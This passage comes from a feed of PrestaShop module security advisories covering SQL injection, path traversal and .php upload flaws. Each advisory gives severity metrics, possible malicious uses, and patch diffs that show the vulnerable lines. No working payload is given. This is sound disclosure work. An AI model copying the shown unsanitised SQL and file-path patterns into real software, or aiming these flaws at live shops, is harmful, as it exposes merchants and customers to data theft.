</ul>]]></content><author><name>[&quot;Dm Concept&quot;, &quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Advanced configurator for customized product” (configurator) up to version 4.9.3 from DM Concept for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-45381] Improper neutralization of SQL parameter in WebshopWorks Creative Popup module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/19/creativepopup.html" rel="alternate" type="text/html" title="[CVE-2023-45381] Improper neutralization of SQL parameter in WebshopWorks Creative Popup module for PrestaShop" /><published>2023-10-19T00:00:00+00:00</published><updated>2023-10-19T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/19/creativepopup</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/19/creativepopup.html"><![CDATA[<p>In the module “Creative Popup” (creativepopup) up to version 1.6.9 from WebshopWorks for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45381">CVE-2023-45381</a></li>
  <li><strong>Published at</strong>: 2023-10-19</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: creativepopup</li>
  <li><strong>Impacted release</strong>: &lt;= 1.6.9 (1.6.10 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: WebshopWorks</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The function <code class="language-plaintext highlighter-rouge">cp_download_popup()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : Be warned that this exploit will bypass some WAF.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-169">Patch from 1.6.9</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.6.9/modules/creativepopup/helper.php
</span><span class="gi">+++ XXXXX/modules/creativepopup/helper.php
</span><span class="err">...</span>
$import = new CpImportUtil($destination);
            try {
                method_exists('Tools', 'deleteFile') ? Tools::deleteFile($destination) : unlink($destination);
            } catch (Exception $ex) {
                // TODO
            }
            // rename imported popup
            $title = !empty(${'_COOKIE'}['cpNewTitle']) ? ${'_COOKIE'}['cpNewTitle'] : 'Unnamed';
            setcookie('cpNewTitle', '', 1);
<span class="gd">-           Db::getInstance()-&gt;update('creativepopup', array('name' =&gt; $title), 'id = '.$import-&gt;lastImportId);
</span><span class="gi">+           Db::getInstance()-&gt;update('creativepopup', array('name' =&gt; pSQL($title)), 'id = '.$import-&gt;lastImportId);
</span>            // redirect after import

</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>creativepopup</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-04</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-04</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-05-04</td>
      <td>PrestaShop Addons security Team confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-19</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/pop-up/39348-creative-popup.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45381">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Creative Popup” (creativepopup) up to version 1.6.9 from WebshopWorks for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-45376] Improper neutralization of SQL parameter in HiPresta - Carousels Pack - Instagram, Products, Brands, Supplier module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/19/hicarouselspack.html" rel="alternate" type="text/html" title="[CVE-2023-45376] Improper neutralization of SQL parameter in HiPresta - Carousels Pack - Instagram, Products, Brands, Supplier module for PrestaShop" /><published>2023-10-19T00:00:00+00:00</published><updated>2023-10-19T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/19/hicarouselspack</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/19/hicarouselspack.html"><![CDATA[<p>In the module “Carousels Pack - Instagram, Products, Brands, Supplier” (hicarouselspack) up to version 1.5.0 from HiPresta for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: [CVE-2023-45376]</li>
  <li><strong>Published at</strong>: 2023-10-19</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: hicarouselspack</li>
  <li><strong>Impacted release</strong>: &lt;= 1.5.0 (1.5.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: HiPresta</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">HiCpProductGetter::getViewedProduct()</code> has sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : Be warned that this exploit will certainly bypass some WAF. For this reason, POC is not given as usual.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-150">Patch from 1.5.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.5.0/modules/hicarouselspack/hicarouselspack.php
</span><span class="gi">+++ 1.5.1/modules/hicarouselspack/hicarouselspack.php
</span><span class="err">...</span>
public function hookDisplayHeader()
    {
<span class="gd">-       $this-&gt;addNewViewedProductId(Tools::getValue('id_product'));
</span><span class="gi">+       $this-&gt;addNewViewedProductId((int) Tools::getValue('id_product'));
</span>
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.5.0/modules/hicarouselspack/classes/HiProductGetter.php
</span><span class="gi">+++ 1.5.1/modules/hicarouselspack/classes/HiProductGetter.php
</span><span class="err">...</span>
    public function getViewedProduct($viewed_ids, $limit, $out_of_stock = false)
    {
        if ($viewed_ids == '') {
            return false;
        }
        $ids = array_unique(explode(',', $viewed_ids));
        $sql = '
            SELECT DISTINCT p.id_product, stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity 
            FROM '._DB_PREFIX_.'product p
            '.Product::sqlStock('p', 0).'
<span class="gd">-           WHERE p.`id_product` IN ('.pSQL(implode(',', $ids)).')';
</span><span class="gi">+           WHERE p.`id_product` IN ('.implode(',', array_map('intval', $ids)).')';
</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>hicarouselspack</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-01-12</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-01-13</td>
      <td>FOP Security team contact Addons security Team</td>
    </tr>
    <tr>
      <td>2023-01-13</td>
      <td>Author provide a patch which was incomplete</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-22</td>
      <td>PrestaShop Addons security Team confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-09-05</td>
      <td>Author provide a complete patch</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-19</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/sliders-galleries/20410-carousels-pack-instagram-products-brands-supplier.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45376">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Carousels Pack - Instagram, Products, Brands, Supplier” (hicarouselspack) up to version 1.5.0 from HiPresta for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-45379] Improper neutralization of SQL parameter in Posthemes Rotator Img module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/17/posrotatorimg.html" rel="alternate" type="text/html" title="[CVE-2023-45379] Improper neutralization of SQL parameter in Posthemes Rotator Img module for PrestaShop" /><published>2023-10-17T00:00:00+00:00</published><updated>2023-10-17T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/17/posrotatorimg</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/17/posrotatorimg.html"><![CDATA[<p>In the module “Rotator Img” (posrotatorimg) in versions at least up to 1.1 from PosThemes for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45379">CVE-2023-45379</a></li>
  <li><strong>Published at</strong>: 2023-10-17</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: posrotatorimg</li>
  <li><strong>Impacted release</strong>: &lt;= 1.1 (Author never confirm fix)</li>
  <li><strong>Product author</strong>: PosThemes</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The script <code class="language-plaintext highlighter-rouge">ajax.php</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-11">Patch from 1.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1/modules/posrotatorimg/ajax.php
</span><span class="gi">+++ XXX/modules/posrotatorimg/ajax.php
</span>        $params = $_POST; 

-       $id_product = $params['id_product'];
<span class="gi">+       $id_product = (int) $params['id_product'];
</span>        $action = $params['action'];
<span class="err">...</span>
        $images= Image::getImages((int)Context::getContext()-&gt;language-&gt;id,$id_product);
<span class="gd">-       $id = $params['img_id']; 
</span><span class="gi">+       $id = (int) $params['img_id']; 
</span></code></pre></div></div>

<p>Be warned that there is other sensitives SQL calls inside this module accessible to administrators. Since there is thousand of injection SQL accessible to administrators on the PrestaShop’s ecosystem, these vulnerabilities are ignored until author provide a patch.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to apply patch given or delete the module (NB : disabled it is useless)</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-04-28</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-04-28</td>
      <td>Contact Author to confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-04-28</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-06-05</td>
      <td>Relaunch author to confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://themeforest.net/user/posthemes/portfolio">Posthemes product page on Themes Forest</a></li>
  <li><a href="https://posthemes.com/">Posthemes website</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45379">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Rotator Img” (posrotatorimg) in versions at least up to 1.1 from PosThemes for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-45383] Improper Limitation of a Pathname to a Restricted Directory in Common-Services - Sonice Etiquetage module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/17/sonice_etiquetage.html" rel="alternate" type="text/html" title="[CVE-2023-45383] Improper Limitation of a Pathname to a Restricted Directory in Common-Services - Sonice Etiquetage module for PrestaShop" /><published>2023-10-17T00:00:00+00:00</published><updated>2023-10-17T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/17/sonice_etiquetage</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/17/sonice_etiquetage.html"><![CDATA[<p>In the module “SoNice Etiquetage” (sonice_etiquetage) up to version 2.5.9 from Common-Services for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45383">CVE-2023-45383</a></li>
  <li><strong>Published at</strong>: 2023-10-17</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: sonice_etiquetage</li>
  <li><strong>Impacted release</strong>: &lt;= 2.5.9 (2.6.1 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Common-Services</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control and a lack of control in the path name construction, a guest can perform a path traversal to view all files on the information system.</p>

<p>Note : We are forced to tag it as a high gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">this</a></p>

<p><strong>WARNING</strong> : Be informed that this vulnerability is actively exploited.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how to exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin/Adminer/etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="patch-from-259">Patch from 2.5.9</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.5.9/modules/sonice_etiquetage/functions/download_label.php
</span><span class="gi">+++ XXXXX/modules/sonice_etiquetage/functions/download_label.php
</span> public function action()
    {
<span class="gd">-       $file = Tools::getValue('file');
</span><span class="gi">+       $file = basename(Tools::getValue('file'));
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.5.9/modules/sonice_etiquetage/functions/download_label_img.php
</span><span class="gi">+++ XXXXX/modules/sonice_etiquetage/functions/download_label_img.php
</span>    public function action()
    {
<span class="gd">-       $file = $_REQUEST['file'];
</span><span class="gi">+       $file = basename($_REQUEST['file']);
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>sonice_etiquetage</strong>.</li>
  <li>You should consider restricting the access of the pattern modules/sonice_etiquetage/functions/download to a whitelist</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-19</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2022-09-19</td>
      <td>Ask developpers concerned to report it to author</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Contact PrestaShop Addons security Team to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>PrestaShop Addons security Team confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-05-19</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-31</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://common-services.com/fr/home-fr/">Author website</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45383">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “SoNice Etiquetage” (sonice_etiquetage) up to version 2.5.9 from Common-Services for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2023-45384] Unrestricted Upload of File with Dangerous Type in KnowBand - One Page Checkout, Social Login &amp;amp; Mailchimp module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/10/17/supercheckout.html" rel="alternate" type="text/html" title="[CVE-2023-45384] Unrestricted Upload of File with Dangerous Type in KnowBand - One Page Checkout, Social Login &amp;amp; Mailchimp module for PrestaShop" /><published>2023-10-17T00:00:00+00:00</published><updated>2023-10-17T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/10/17/supercheckout</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/10/17/supercheckout.html"><![CDATA[<p>In the module “Module One Page Checkout, Social Login &amp; Mailchimp” (supercheckout) up to version 6.0.6 from KnowBand for PrestaShop, a guest can upload dangerous files with extensions .php.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: [CVE-2023-45384]</li>
  <li><strong>Published at</strong>: 2023-10-17</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: supercheckout</li>
  <li><strong>Impacted release</strong>: &lt;= 6.0.6 (6.0.7 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: KnowBand</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/434.html">CWE-434</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">SupercheckoutSupercheckoutModuleFrontController::saveFileTypeCustomField()</code> allow upload of .php files, which will lead to a critical vulnerability <a href="https://cwe.mitre.org/data/definitions/94.html">CWE-94</a>.</p>

<p><strong>This exploit is actively exploited in the wild</strong></p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Steal data</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>supercheckout</strong>.</li>
  <li>Activate OWASP 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-25</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-25</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-05-25</td>
      <td>PrestaShop Addons security Team confirm version scope</td>
    </tr>
    <tr>
      <td>2023-06-06</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/processus-rapide-commande/18016-one-page-checkout-social-login-mailchimp.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45384">National Vulnerability Database</a></li>
